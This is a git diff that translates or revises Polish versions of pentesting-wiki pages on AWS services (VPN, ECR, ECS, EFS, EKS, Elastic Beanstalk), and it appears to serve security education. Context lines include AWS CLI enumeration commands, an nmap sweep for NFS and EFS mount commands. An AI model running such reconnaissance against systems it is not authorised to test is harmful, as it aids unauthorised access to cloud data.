+- Punkt końcowy VPN klienta to zasób, który tworzysz w AWS, aby umożliwić i zarządzać sesjami VPN klientów.
+- Jest używany do umożliwienia indywidualnym urządzeniom (takim jak laptopy, smartfony itp.) bezpiecznego połączenia z zasobami AWS lub twoją lokalną siecią.
+- Różni się od VPN Site-to-Site tym, że jest zaprojektowany dla indywidualnych klientów, a nie do łączenia całych sieci.
+- Z VPN klienta każde urządzenie klienckie używa oprogramowania klienta VPN do nawiązania bezpiecznego połączenia.
 
-### Site-to-Site VPN
+### VPN Site-to-Site
 
-**Connect your on-premises network with your VPC.**
+**Połącz swoją lokalną sieć z twoim VPC.**
 
-- **VPN connection**: A secure connection between your on-premises equipment and your VPCs.
-- **VPN tunnel**: An encrypted link where data can pass from the customer network to or from AWS.
+- **Połączenie VPN**: Bezpieczne połączenie między twoim sprzętem lokalnym a twoimi VPC.
+- **Tunel VPN**: Szyfrowane połączenie, przez które dane mogą przechodzić z sieci klienta do AWS lub odwrotnie.
 
-Each VPN connection includes two VPN tunnels which you can simultaneously use for high availability.
+Każde połączenie VPN zawiera dwa tunele VPN, które możesz jednocześnie używać dla wysokiej dostępności.
 
-- **Customer gateway**: An AWS resource which provides information to AWS about your customer gateway device.
-- **Customer gateway device**: A physical device or software application on your side of the Site-to-Site VPN connection.
-- **Virtual private gateway**: The VPN concentrator on the Amazon side of the Site-to-Site VPN connection. You use a virtual private gateway or a transit gateway as the gateway for the Amazon side of the Site-to-Site VPN connection.
-- **Transit gateway**: A transit hub that can be used to interconnect your VPCs and on-premises networks. You use a transit gateway or virtual private gateway as the gateway for the Amazon side of the Site-to-Site VPN connection.
+- **Brama klienta**: Zasób AWS, który dostarcza informacje do AWS o twoim urządzeniu bramy klienta.
+- **Urządzenie bramy klienta**: Fizyczne urządzenie lub aplikacja programowa po twojej stronie połączenia VPN Site-to-Site.
+- **Wirtualna brama prywatna**: Koncentrator VPN po stronie Amazon w połączeniu VPN Site-to-Site. Używasz wirtualnej bramy prywatnej lub bramy tranzytowej jako bramy po stronie Amazon w połączeniu VPN Site-to-Site.
+- **Brama tranzytowa**: Hub tranzytowy, który może być używany do łączenia twoich VPC i lokalnych sieci. Używasz bramy tranzytowej lub wirtualnej bramy prywatnej jako bramy po stronie Amazon w połączeniu VPN Site-to-Site.
 
-#### Limitations
+#### Ograniczenia
 
-- IPv6 traffic is not supported for VPN connections on a virtual private gateway.
-- An AWS VPN connection does not support Path MTU Discovery.
+- Ruch IPv6 nie jest obsługiwany dla połączeń VPN na wirtualnej bramie prywatnej.
+- Połączenie VPN AWS nie obsługuje odkrywania MTU ścieżki.
 
-In addition, take the following into consideration when you use Site-to-Site VPN.
+Dodatkowo, weź pod uwagę następujące kwestie, gdy używasz VPN Site-to-Site.
 
-- When connecting your VPCs to a common on-premises network, we recommend that you use non-overlapping CIDR blocks for your networks.
+- Podczas łączenia swoich VPC z wspólną lokalną siecią, zalecamy użycie niepokrywających się bloków CIDR dla twoich sieci.
 
-### Client VPN <a href="#what-is-components" id="what-is-components"></a>
+### VPN klienta <a href="#what-is-components" id="what-is-components"></a>
 
-**Connect from your machine to your VPC**
+**Połącz się z twojego urządzenia z twoim VPC**
 
-#### Concepts
+#### Koncepcje
 
-- **Client VPN endpoint:** The resource that you create and configure to enable and manage client VPN sessions. It is the resource where all client VPN sessions are terminated.
-- **Target network:** A target network is the network that you associate with a Client VPN endpoint. **A subnet from a VPC is a target network**. Associating a subnet with a Client VPN endpoint enables you to establish VPN sessions. You can associate multiple subnets with a Client VPN endpoint for high availability. All subnets must be from the same VPC. Each subnet must belong to a different Availability Zone.
-- **Route**: Each Client VPN endpoint has a route table that describes the available destination network routes. Each route in the route table specifies the path for traffic to specific resources or networks.
-- **Authorization rules:** An authorization rule **restricts the users who can access a network**. For a specified network, you configure the Active Directory or identity provider (IdP) group that is allowed access. Only users belonging to this group can access the specified network. **By default, there are no authorization rules** and you must configure authorization rules to enable users to access resources and networks.
-- **Client:** The end user connecting to the Client VPN endpoint to establish a VPN session. End users need to download an OpenVPN client and use the Client VPN configuration file that you created to establish a VPN session.
-- **Client CIDR range:** An IP address range from which to assign client IP addresses. Each connection to the Client VPN endpoint is assigned a unique IP address from the client CIDR range. You choose the client CIDR range, for example, `10.2.0.0/16`.
-- **Client VPN ports:** AWS Client VPN supports ports 443 and 1194 for both TCP and UDP. The default is port 443.
-- **Client VPN network interfaces:** When you associate a subnet with your Client VPN endpoint, we create Client VPN network interfaces in that subnet. **Traffic that's sent to the VPC from the Client VPN endpoint is sent through a Client VPN network interface**. Source network address translation (SNAT) is then applied, where the source IP address from the client CIDR range is translated to the Client VPN network interface IP address.
-- **Connection logging:** You can enable connection logging for your Client VPN endpoint to log connection events. You can use this information to run forensics, analyze how your Client VPN endpoint is being used, or debug connection issues.
-- **Self-service portal:** You can enable a self-service portal for your Client VPN endpoint. Clients can log into the web-based portal using their credentials and download the latest version of the Client VPN endpoint configuration file, or the latest version of the AWS provided client.
+- **Punkt końcowy VPN klienta:** Zasób, który tworzysz i konfigurujesz, aby umożliwić i zarządzać sesjami VPN klientów. To zasób, w którym kończą się wszystkie sesje VPN klientów.
+- **Sieć docelowa:** Sieć docelowa to sieć, którą kojarzysz z punktem końcowym VPN klienta. **Podsieć z VPC jest siecią docelową**. Powiązanie podsieci z punktem końcowym VPN klienta umożliwia nawiązanie sesji VPN. Możesz powiązać wiele podsieci z punktem końcowym VPN klienta dla wysokiej dostępności. Wszystkie podsieci muszą pochodzić z tego samego VPC. Każda podsieć musi należeć do innej strefy dostępności.
+- **Trasa**: Każdy punkt końcowy VPN klienta ma tablicę tras, która opisuje dostępne trasy sieciowe. Każda trasa w tablicy tras określa ścieżkę dla ruchu do określonych zasobów lub sieci.
+- **Zasady autoryzacji:** Zasada autoryzacji **ogranicza użytkowników, którzy mogą uzyskać dostęp do sieci**. Dla określonej sieci konfigurujesz grupę Active Directory lub dostawcy tożsamości (IdP), która ma dostęp. Tylko użytkownicy należący do tej grupy mogą uzyskać dostęp do określonej sieci. **Domyślnie nie ma zasad autoryzacji** i musisz skonfigurować zasady autoryzacji, aby umożliwić użytkownikom dostęp do zasobów i sieci.
+- **Klient:** Użytkownik końcowy łączący się z punktem końcowym VPN klienta, aby nawiązać sesję VPN. Użytkownicy końcowi muszą pobrać klienta OpenVPN i użyć pliku konfiguracyjnego punktu końcowego VPN klienta, który utworzyłeś, aby nawiązać sesję VPN.
+- **Zakres CIDR klienta:** Zakres adresów IP, z którego przypisujesz adresy IP klientom. Każde połączenie z punktem końcowym VPN klienta otrzymuje unikalny adres IP z zakresu CIDR klienta. Wybierasz zakres CIDR klienta, na przykład `10.2.0.0/16`.
+- **Porty VPN klienta:** AWS Client VPN obsługuje porty 443 i 1194 zarówno dla TCP, jak i UDP. Domyślnie jest to port 443.
+- **Interfejsy sieciowe VPN klienta:** Gdy powiążesz podsieć z punktem końcowym VPN klienta, tworzymy interfejsy sieciowe VPN klienta w tej podsieci. **Ruch, który jest wysyłany do VPC z punktu końcowego VPN klienta, jest wysyłany przez interfejs sieciowy VPN klienta**. Następnie stosuje się translację adresu źródłowego (SNAT), gdzie adres IP źródłowy z zakresu CIDR klienta jest tłumaczony na adres IP interfejsu sieciowego VPN klienta.
+- **Rejestrowanie połączeń:** Możesz włączyć rejestrowanie połączeń dla swojego punktu końcowego VPN klienta, aby rejestrować zdarzenia połączeń. Możesz użyć tych informacji do przeprowadzania analizy, analizowania, jak twój punkt końcowy VPN klienta jest używany, lub debugowania problemów z połączeniem.
+- **Portal samoobsługowy:** Możesz włączyć portal samoobsługowy dla swojego punktu końcowego VPN klienta. Klienci mogą zalogować się do portalu internetowego, używając swoich danych uwierzytelniających, i pobrać najnowszą wersję pliku konfiguracyjnego punktu końcowego VPN klienta lub najnowszą wersję klienta dostarczonego przez AWS.
 
-#### Limitations
+#### Ograniczenia
 
-- **Client CIDR ranges cannot overlap with the local CIDR** of the VPC in which the associated subnet is located, or any routes manually added to the Client VPN endpoint's route table.
-- Client CIDR ranges must have a block size of at **least /22** and must **not be greater than /12.**
-- A **portion of the addresses** in the client CIDR range are used to **support the availability** model of the Client VPN endpoint, and cannot be assigned to clients. Therefore, we recommend that you **assign a CIDR block that contains twice the number of IP addresses that are required** to enable the maximum number of concurrent connections that you plan to support on the Client VPN endpoint.
-- The **client CIDR range cannot be changed** after you create the Client VPN endpoint.
-- The **subnets** associated with a Client VPN endpoint **must be in the same VPC**.
-- You **cannot associate multiple subnets from the same Availability Zone with a Client VPN endpoint**.
-- A Client VPN endpoint **does not support subnet associations in a dedicated tenancy VPC**.
-- Client VPN supports **IPv4** traffic only.
-- Client VPN is **not** Federal Information Processing Standards (**FIPS**) **compliant**.
-- If multi-factor authentication (MFA) is disabled for your Active Directory, a user password cannot be in the following format.
+- **Zakresy CIDR klienta nie mogą pokrywać się z lokalnym CIDR** VPC, w którym znajduje się powiązana podsieć, ani z żadnymi trasami ręcznie dodanymi do tablicy tras punktu końcowego VPN klienta.
+- Zakresy CIDR klienta muszą mieć rozmiar bloku **co najmniej /22** i **nie mogą być większe niż /12.**
+- **Część adresów** w zakresie CIDR klienta jest używana do **wsparcia modelu dostępności** punktu końcowego VPN klienta i nie może być przypisana klientom. Dlatego zalecamy, abyś **przypisał blok CIDR, który zawiera dwukrotność liczby adresów IP, które są wymagane**, aby umożliwić maksymalną liczbę jednoczesnych połączeń, które planujesz obsługiwać na punkcie końcowym VPN klienta.
+- **Zakres CIDR klienta nie może być zmieniony** po utworzeniu punktu końcowego VPN klienta.
+- **Podsieci** powiązane z punktem końcowym VPN klienta **muszą znajdować się w tym samym VPC**.
+- **Nie możesz powiązać wielu podsieci z tej samej strefy dostępności z punktem końcowym VPN klienta**.
+- Punkt końcowy VPN klienta **nie obsługuje powiązań podsieci w VPC z dedykowanym najmem**.
+- VPN klienta obsługuje **tylko** ruch IPv4.
+- VPN klienta **nie jest** zgodny z Federal Information Processing Standards (**FIPS**).
+- Jeśli uwierzytelnianie wieloskładnikowe (MFA) jest wyłączone dla twojej Active Directory, hasło użytkownika nie może być w następującym formacie.
 
 ```
 SCRV1:<base64_encoded_string>:<base64_encoded_string>
 ```
 
-- The self-service portal is **not available for clients that authenticate using mutual authentication**.
+- Portal samoobsługowy **nie jest dostępny dla klientów, którzy uwierzytelniają się za pomocą uwierzytelniania wzajemnego**.
 
 {{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md
index 402c9d610..937588507 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md
@@ -20,18 +20,18 @@ Każde konto AWS ma 2 rejestry: **Prywatne** i **Publiczne**.
 
 - **Prywatne domyślnie**: Obrazy kontenerów przechowywane w prywatnym rejestrze Amazon ECR są **dostępne tylko dla autoryzowanych użytkowników** w Twoim koncie AWS lub dla tych, którym przyznano uprawnienia.
 - URI **prywatnego repozytorium** ma format `<account_id>.dkr.ecr.<region>.amazonaws.com/<repo-name>`
-- **Kontrola dostępu**: Możesz **kontrolować dostęp** do swoich prywatnych obrazów kontenerów za pomocą **polityk IAM**, a także skonfigurować szczegółowe uprawnienia w oparciu o użytkowników lub role.
+- **Kontrola dostępu**: Możesz **kontrolować dostęp** do swoich prywatnych obrazów kontenerów za pomocą **polityk IAM**, a także możesz skonfigurować szczegółowe uprawnienia w oparciu o użytkowników lub role.
 - **Integracja z usługami AWS**: Prywatne rejestry Amazon ECR mogą być łatwo **integrowane z innymi usługami AWS**, takimi jak EKS, ECS...
 - **Inne opcje prywatnych rejestrów**:
 - Kolumna immutability tagu wskazuje jego status, jeśli immutability tagu jest włączone, **zapobiegnie** to **przesyłaniu** obrazów z **istniejącymi tagami**, które mogłyby nadpisać obrazy.
 - Kolumna **Typ szyfrowania** wymienia właściwości szyfrowania repozytorium, pokazuje domyślne typy szyfrowania, takie jak AES-256, lub ma włączone szyfrowania **KMS**.
-- Kolumna **Pull through cache** wskazuje jej status, jeśli status Pull through cache jest aktywny, będzie buforować **repozytoria w zewnętrznym publicznym repozytorium do Twojego prywatnego repozytorium**.
+- Kolumna **Pull through cache** wskazuje jego status, jeśli status Pull through cache jest aktywny, będzie buforować **repozytoria w zewnętrznym publicznym repozytorium do Twojego prywatnego repozytorium**.
 - Specyficzne **polityki IAM** mogą być skonfigurowane w celu przyznania różnych **uprawnień**.
 - **Konfiguracja skanowania** pozwala na skanowanie pod kątem luk w zabezpieczeniach w obrazach przechowywanych w repozytorium.
 
 2. **Publiczne rejestry**:
 
-- **Publiczny dostęp**: Obrazy kontenerów przechowywane w publicznym rejestrze ECR są **dostępne dla każdego w internecie bez uwierzytelnienia.**
+- **Publiczna dostępność**: Obrazy kontenerów przechowywane w publicznym rejestrze ECR są **dostępne dla każdego w internecie bez uwierzytelnienia.**
 - URI **publicznego repozytorium** jest jak `public.ecr.aws/<random>/<name>`. Chociaż część `<random>` może być zmieniona przez administratora na inny łatwiejszy do zapamiętania ciąg.
 
 **Repozytoria**
@@ -67,7 +67,7 @@ aws ecr-public describe-repositories
 aws ecr get-registry-policy
 aws ecr get-repository-policy --repository-name <repo_name>
 ```
-#### Unauthenticated Enum
+#### Nieautoryzowane Enum
 
 {{#ref}}
 ../aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
@@ -75,25 +75,25 @@ aws ecr get-repository-policy --repository-name <repo_name>
 
 #### Privesc
 
-Na poniższej stronie możesz sprawdzić, jak **nadużyć uprawnień ECR, aby eskalować uprawnienia**:
+Na poniższej stronie możesz sprawdzić, jak **nadużywać uprawnień ECR, aby eskalować uprawnienia**:
 
 {{#ref}}
 ../aws-privilege-escalation/aws-ecr-privesc.md
 {{#endref}}
 
-#### Post Exploitation
+#### Post Eksploatacja
 
 {{#ref}}
 ../aws-post-exploitation/aws-ecr-post-exploitation.md
 {{#endref}}
 
-#### Persistence
+#### Utrzymywanie
 
 {{#ref}}
 ../aws-persistence/aws-ecr-persistence.md
 {{#endref}}
 
-## References
+## Odniesienia
 
 - [https://docs.aws.amazon.com/AmazonECR/latest/APIReference/Welcome.html](https://docs.aws.amazon.com/AmazonECR/latest/APIReference/Welcome.html)
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md
index c16f62c5c..a87441a59 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md
@@ -6,24 +6,24 @@
 
 ### Podstawowe informacje
 
-Amazon **Elastic Container Services** lub ECS zapewnia platformę do **hostowania aplikacji kontenerowych w chmurze**. ECS ma dwie **metody wdrożenia**, typ instancji **EC2** oraz opcję **bezserwerową**, **Fargate**. Usługa **umożliwia łatwe i bezproblemowe uruchamianie kontenerów w chmurze**.
+Amazon **Elastic Container Services** lub ECS zapewnia platformę do **hostowania aplikacji kontenerowych w chmurze**. ECS ma dwie **metody wdrożenia**, typ instancji **EC2** oraz opcję **serverless**, **Fargate**. Usługa **umożliwia łatwe i bezproblemowe uruchamianie kontenerów w chmurze**.
 
 ECS działa na podstawie trzech podstawowych elementów: **Klasterów**, **Usług** i **Definicji zadań**.
 
-- **Klastery** to **grupy kontenerów**, które działają w chmurze. Jak wcześniej wspomniano, istnieją dwa typy uruchamiania kontenerów, EC2 i Fargate. AWS definiuje typ uruchamiania **EC2** jako umożliwiający klientom „uruchamianie \[ich\] aplikacji kontenerowych na klastrze instancji Amazon EC2, które \[oni\] **zarządzają**”. **Fargate** jest podobny i definiowany jest jako „\[umożliwiający\] uruchamianie aplikacji kontenerowych **bez potrzeby provisionowania i zarządzania** infrastrukturą zaplecza”.
+- **Klaster** to **grupa kontenerów**, które działają w chmurze. Jak wcześniej wspomniano, istnieją dwa typy uruchamiania kontenerów, EC2 i Fargate. AWS definiuje typ uruchamiania **EC2** jako umożliwiający klientom „uruchamianie \[ich\] aplikacji kontenerowych na klastrze instancji Amazon EC2, które \[oni\] **zarządzają**”. **Fargate** jest podobny i definiowany jest jako „\[umożliwiający\] uruchamianie aplikacji kontenerowych **bez potrzeby provisionowania i zarządzania** infrastrukturą zaplecza”.
 - **Usługi** są tworzone wewnątrz klastra i odpowiedzialne za **uruchamianie zadań**. W definicji usługi **definiujesz liczbę zadań do uruchomienia, automatyczne skalowanie, dostawcę pojemności (Fargate/EC2/Zewnętrzny),** **informacje o sieci**, takie jak VPC, podsieci i grupy zabezpieczeń.
 - Istnieją **2 typy aplikacji**:
 - **Usługa**: Grupa zadań obsługujących długoterminową pracę obliczeniową, którą można zatrzymać i wznowić. Na przykład aplikacja internetowa.
 - **Zadanie**: Samodzielne zadanie, które działa i kończy się. Na przykład zadanie wsadowe.
 - Wśród aplikacji usługowych istnieją **2 typy harmonogramów usług**:
-- [**REPLIKA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Strategia harmonogramowania replik umieszcza i **utrzymuje pożądaną liczbę** zadań w całym klastrze. Jeśli z jakiegoś powodu zadanie zostanie zamknięte, nowe jest uruchamiane na tym samym lub innym węźle.
-- [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Uruchamia dokładnie jedno zadanie na każdej aktywnej instancji kontenera, która ma wymagane wymagania. Nie ma potrzeby określania pożądanej liczby zadań, strategii umieszczania zadań ani korzystania z polityk automatycznego skalowania usług.
+- [**REPLIKA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Strategia harmonogramowania replik umieszcza i **utrzymuje pożądaną liczbę** zadań w całym klastrze. Jeśli z jakiegoś powodu zadanie zostanie zamknięte, uruchamiane jest nowe w tym samym lub innym węźle.
+- [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Uruchamia dokładnie jedno zadanie na każdej aktywnej instancji kontenera, która ma wymagane zasoby. Nie ma potrzeby określania pożądanej liczby zadań, strategii umieszczania zadań ani korzystania z polityk automatycznego skalowania usług.
 - **Definicje zadań** są odpowiedzialne za **definiowanie, jakie kontenery będą uruchamiane** oraz różne parametry, które będą konfigurowane z kontenerami, takie jak **mapowania portów** z hostem, **zmienne środowiskowe**, Docker **entrypoint**...
 - Sprawdź **zmienne środowiskowe pod kątem wrażliwych informacji**!
 
 ### Wrażliwe dane w definicjach zadań
 
-Definicje zadań są odpowiedzialne za **konfigurowanie rzeczywistych kontenerów, które będą działać w ECS**. Ponieważ definicje zadań definiują, jak będą działały kontenery, można znaleźć w nich wiele informacji.
+Definicje zadań są odpowiedzialne za **konfigurowanie rzeczywistych kontenerów, które będą działać w ECS**. Ponieważ definicje zadań definiują, jak będą działać kontenery, można znaleźć w nich wiele informacji.
 
 Pacu może enumerować ECS (list-clusters, list-container-instances, list-services, list-task-definitions), może również zrzucać definicje zadań.
 
@@ -59,7 +59,7 @@ aws ecs describe-task-definition --task-definition <TASK_NAME>:<VERSION>
 
 ### Podwyższenie uprawnień
 
-Na poniższej stronie możesz sprawdzić, jak **wykorzystać uprawnienia ECS do podwyższenia uprawnień**:
+Na poniższej stronie możesz sprawdzić, jak **nadużyć uprawnień ECS, aby podnieść uprawnienia**:
 
 {{#ref}}
 ../aws-privilege-escalation/aws-ecs-privesc.md
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md
index 1a060483d..bd1d2aa4b 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md
@@ -6,13 +6,13 @@
 
 ### Podstawowe informacje
 
-Amazon Elastic File System (EFS) jest przedstawiany jako **w pełni zarządzany, skalowalny i elastyczny system plików w sieci** przez AWS. Usługa ułatwia tworzenie i konfigurowanie **systemów plików**, które mogą być jednocześnie dostępne przez wiele instancji EC2 i inne usługi AWS. Kluczowe cechy EFS obejmują jego zdolność do automatycznego skalowania bez interwencji ręcznej, zapewnianie dostępu o niskim opóźnieniu, wsparcie dla obciążeń o wysokiej przepustowości, gwarancję trwałości danych oraz bezproblemową integrację z różnymi mechanizmami bezpieczeństwa AWS.
+Amazon Elastic File System (EFS) jest przedstawiany jako **w pełni zarządzany, skalowalny i elastyczny system plików sieciowych** przez AWS. Usługa ułatwia tworzenie i konfigurowanie **systemów plików**, które mogą być jednocześnie dostępne przez wiele instancji EC2 i inne usługi AWS. Kluczowe cechy EFS obejmują jego zdolność do automatycznego skalowania bez interwencji ręcznej, zapewnianie dostępu o niskim opóźnieniu, wsparcie dla obciążeń o wysokiej przepustowości, gwarancję trwałości danych oraz bezproblemową integrację z różnymi mechanizmami bezpieczeństwa AWS.
 
 Domyślnie folder EFS do zamontowania będzie **`/`**, ale może mieć **inną nazwę**.
 
 ### Dostęp sieciowy
 
-EFS jest tworzony w VPC i będzie **domyślnie dostępny we wszystkich podsieciach VPC**. Jednak EFS będzie miał Grupę Bezpieczeństwa. Aby **dać dostęp do EC2** (lub jakiejkolwiek innej usługi AWS) do zamontowania EFS, należy **zezwolić w grupie bezpieczeństwa EFS na regułę przychodzącą NFS** (port 2049) **z Grupy Bezpieczeństwa EC2**.
+EFS jest tworzony w VPC i będzie **domyślnie dostępny we wszystkich podsieciach VPC**. Jednak EFS będzie miał Grupę Bezpieczeństwa. Aby **dać dostęp do EC2** (lub innej usługi AWS) do zamontowania EFS, należy **zezwolić w grupie bezpieczeństwa EFS na przychodzącą regułę NFS** (port 2049) **z Grupy Bezpieczeństwa EC2**.
 
 Bez tego **nie będziesz w stanie skontaktować się z usługą NFS**.
 
@@ -38,7 +38,7 @@ aws efs describe-replication-configurations
 # Search for NFS in EC2 networks
 sudo nmap -T4 -Pn -p 2049 --open 10.10.10.0/20 # or /16 to be sure
 ```
-> [!CAUTION]
+> [!OSTRZEŻENIE]
 > Może się zdarzyć, że punkt montowania EFS znajduje się w tej samej VPC, ale w innej podsieci. Jeśli chcesz mieć pewność, że znajdziesz wszystkie **punkty EFS, lepiej zeskanować maskę sieciową `/16`**.
 
 ### Montowanie EFS
@@ -92,11 +92,11 @@ sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/
 # To use a different pforile from ~/.aws/credentials
 # You can use: -o tls,iam,awsprofile=namedprofile
 ```
-### Access Points
+### Punkty dostępu
 
-**Punkty dostępu** to **specyficzne dla aplikacji** punkty wejścia **do systemu plików EFS**, które ułatwiają zarządzanie dostępem aplikacji do współdzielonych zbiorów danych.
+**Punkty dostępu** to **specyficzne dla aplikacji** punkty wejścia **do systemu plików EFS**, które ułatwiają zarządzanie dostępem aplikacji do wspólnych zbiorów danych.
 
-Kiedy tworzysz punkt dostępu, możesz **określić właściciela i uprawnienia POSIX** dla plików i katalogów tworzonych przez punkt dostępu. Możesz również **zdefiniować niestandardowy katalog główny** dla punktu dostępu, określając istniejący katalog lub tworząc nowy z pożądanymi uprawnieniami. Umożliwia to **kontrolowanie dostępu do systemu plików EFS na poziomie aplikacji lub użytkownika**, co ułatwia zarządzanie i zabezpieczanie współdzielonych danych plikowych.
+Kiedy tworzysz punkt dostępu, możesz **określić właściciela i uprawnienia POSIX** dla plików i katalogów tworzonych przez punkt dostępu. Możesz również **zdefiniować niestandardowy katalog główny** dla punktu dostępu, określając istniejący katalog lub tworząc nowy z pożądanymi uprawnieniami. Umożliwia to **kontrolowanie dostępu do systemu plików EFS na poziomie aplikacji lub użytkownika**, co ułatwia zarządzanie i zabezpieczanie wspólnych danych plikowych.
 
 **Możesz zamontować system plików z punktu dostępu za pomocą czegoś takiego:**
 ```bash
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md
index 898f17e14..b36bff150 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md
@@ -4,11 +4,11 @@
 
 ## EKS
 
-Amazon Elastic Kubernetes Service (Amazon EKS) jest zaprojektowany, aby wyeliminować potrzebę instalowania, obsługiwania i zarządzania własnym kontrolerem Kubernetes lub węzłami przez użytkowników. Zamiast tego, Amazon EKS zarządza tymi komponentami, oferując uproszczony sposób wdrażania, zarządzania i skalowania aplikacji kontenerowych przy użyciu Kubernetes na AWS.
+Amazon Elastic Kubernetes Service (Amazon EKS) jest zaprojektowany, aby wyeliminować potrzebę instalowania, obsługiwania i zarządzania własnym kontrolnym panelem Kubernetes lub węzłami przez użytkowników. Zamiast tego, Amazon EKS zarządza tymi komponentami, oferując uproszczony sposób wdrażania, zarządzania i skalowania aplikacji kontenerowych przy użyciu Kubernetes na AWS.
 
 Kluczowe aspekty Amazon EKS obejmują:
 
-1. **Zarządzany kontroler Kubernetes**: Amazon EKS automatyzuje krytyczne zadania, takie jak łatanie, provisionowanie węzłów i aktualizacje.
+1. **Zarządzany kontrolny panel Kubernetes**: Amazon EKS automatyzuje krytyczne zadania, takie jak łatanie, provisionowanie węzłów i aktualizacje.
 2. **Integracja z usługami AWS**: Oferuje bezproblemową integrację z usługami AWS w zakresie obliczeń, przechowywania, baz danych i bezpieczeństwa.
 3. **Skalowalność i bezpieczeństwo**: Amazon EKS jest zaprojektowany, aby być wysoko dostępnym i bezpiecznym, oferując funkcje takie jak automatyczne skalowanie i izolacja z założenia.
 4. **Kompatybilność z Kubernetes**: Aplikacje działające na Amazon EKS są w pełni kompatybilne z aplikacjami działającymi w dowolnym standardowym środowisku Kubernetes.
@@ -31,13 +31,13 @@ aws eks describe-nodegroup --cluster-name <c_name> --nodegroup-name <n_name>
 aws eks list-updates --name <name>
 aws eks describe-update --name <name> --update-id <id>
 ```
-#### Post Exploitation
+#### Po Eksploatacji
 
 {{#ref}}
 ../aws-post-exploitation/aws-eks-post-exploitation.md
 {{#endref}}
 
-## References
+## Odniesienia
 
 - [https://aws.amazon.com/eks/](https://aws.amazon.com/eks/)
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md
index 1ed3516d1..640df68d0 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md
@@ -8,7 +8,7 @@ Amazon Elastic Beanstalk zapewnia uproszczoną platformę do **wdrażania, zarz
 
 Elastic Beanstalk zapewnia prosty i elastyczny sposób na **wdrażanie aplikacji w chmurze AWS**, bez potrzeby martwienia się o infrastrukturę. **Automatycznie** zajmuje się szczegółami dotyczącymi **prowizjonowania** zasobów, **równoważenia obciążenia**, **skalowania** i **monitorowania** stanu aplikacji, co pozwala skupić się na pisaniu i wdrażaniu kodu.
 
-Infrastruktura tworzona przez Elastic Beanstalk jest zarządzana przez **Autoscaling** Groups w **EC2** (z równoważnikiem obciążenia). Oznacza to, że na koniec dnia, jeśli **skomprymujesz hosta**, powinieneś wiedzieć o EC2:
+Infrastruktura tworzona przez Elastic Beanstalk jest zarządzana przez **Autoscaling** Groups w **EC2** (z równoważnikiem obciążenia). Oznacza to, że na koniec dnia, jeśli **skompromitujesz hosta**, powinieneś wiedzieć o EC2:
 
 {{#ref}}
 aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -27,19 +27,19 @@ W AWS Elastic Beanstalk pojęcia "aplikacja" i "środowisko" pełnią różne fu
 #### Aplikacja
 
 - Aplikacja w Elastic Beanstalk to **logiczny kontener dla kodu źródłowego aplikacji, środowisk i konfiguracji**. Grupuje różne wersje kodu aplikacji i pozwala zarządzać nimi jako jedną jednostką.
-- Kiedy tworzysz aplikację, podajesz nazwę i **opis, ale w tym etapie nie są przydzielane żadne zasoby**. To po prostu sposób na organizację i zarządzanie kodem oraz powiązanymi zasobami.
+- Kiedy tworzysz aplikację, podajesz nazwę i **opis, ale w tym etapie nie są przydzielane żadne zasoby**. To po prostu sposób na organizację i zarządzanie swoim kodem oraz powiązanymi zasobami.
 - Możesz mieć **wiele wersji aplikacji** w ramach jednej aplikacji. Każda wersja odpowiada konkretnej wersji twojego kodu, która może być wdrożona w jednym lub więcej środowiskach.
 
 #### Środowisko
 
-- Środowisko to **przydzielona instancja twojej aplikacji** działająca na infrastrukturze AWS. To **gdzie kod aplikacji jest wdrażany i wykonywany**. Elastic Beanstalk przydziela niezbędne zasoby (np. instancje EC2, równoważniki obciążenia, grupy auto-skalowania, bazy danych) na podstawie konfiguracji środowiska.
+- Środowisko to **przydzielona instancja twojej aplikacji** działająca na infrastrukturze AWS. To **tam wdrażany i wykonywany jest kod aplikacji**. Elastic Beanstalk przydziela niezbędne zasoby (np. instancje EC2, równoważniki obciążenia, grupy auto-skalowania, bazy danych) na podstawie konfiguracji środowiska.
 - **Każde środowisko uruchamia jedną wersję twojej aplikacji**, a ty możesz mieć wiele środowisk do różnych celów, takich jak rozwój, testowanie, staging i produkcja.
 - Kiedy tworzysz środowisko, wybierasz platformę (np. Java, .NET, Node.js itp.) oraz typ środowiska (np. serwer WWW lub pracownik). Możesz również dostosować konfigurację środowiska, aby kontrolować różne aspekty infrastruktury i ustawień aplikacji.
 
 ### 2 typy Środowisk
 
